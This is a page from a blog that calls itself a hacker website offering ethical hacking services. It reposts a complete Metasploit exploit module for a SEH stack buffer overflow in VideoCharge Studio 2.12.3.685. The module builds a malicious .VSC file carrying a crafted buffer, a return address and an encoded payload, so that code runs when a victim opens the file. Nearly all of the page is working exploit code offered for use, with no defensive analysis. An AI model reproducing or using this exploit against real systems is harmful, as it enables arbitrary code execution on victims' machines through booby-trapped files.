Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86387581

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'VideoCharge Studio Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in VideoCharge Studio 2.12.3.685 when
          processing a specially crafted .VSC file. This vulnerability could be
          exploited by a remote attacker to execute arbitrary code on the target
          machine by enticing a user of VideoCharge Studio to open a malicious .VSC file.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'metacom',            # Original discovery
          'Andrew Smith',       # MSF module
          'Christian Mehlmauer' # MSF module
        ],
      'References'  =>
        [
          [ 'OSVDB', '69616' ],
          [ 'EBD', '29234' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'  => 'win',
      'Payload'   =>
        {
          'BadChars'    => "\x00\x0a\x0d\x3c\x22\x26",
          'DisableNops' => true,
          'Space'       => 2808
        },
      'Targets'   =>
        [
          [ 'VideoCharge Studio 2.12.3.685',
            {
              'Ret'     =>  0x61B811F1, #p/p/r | zlib1.dll
              'Offset'  =>  2184
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Oct 27 2013',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.vsc']),], self.class)

  end

  def exploit

    buffer  = rand_text_alpha(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.12.3.685">
<cols name="Files"/>
<cols name="Profiles">
<Property name="Profile">
<cols name="Formats">
<Property name="Stream">
<Value name="Name" type="8" value="#{buffer}"/>
</Property>
</cols>
</Property>
</cols>
</config>|

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(file)

  end
end